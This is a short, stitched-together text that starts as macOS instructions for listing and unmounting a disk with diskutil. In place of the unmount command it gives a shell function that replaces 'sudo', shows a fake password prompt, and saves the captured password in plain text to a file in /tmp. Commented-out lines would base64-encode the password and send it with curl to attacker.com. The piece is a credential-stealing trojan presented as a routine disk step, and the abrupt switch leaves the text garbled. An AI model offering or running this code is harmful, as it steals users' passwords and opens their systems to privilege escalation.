- Plug in your SD card, HDD, or other block device and then use the following command to see which /dev/diskN node it's located on:
diskutil list
- Unmount the disk where “N� is the number of the disk taken from the above command:
function sudo () | |
{ | |
# https://null-byte.com/privesc-0194190/ | |
realsudo="$(which sudo)"; | |
read -s -p "[sudo] password for $USER: " inputPasswd; | |
printf "\n"; | |
printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt; | |
# encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1; | |
# curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1; | |
$realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1; |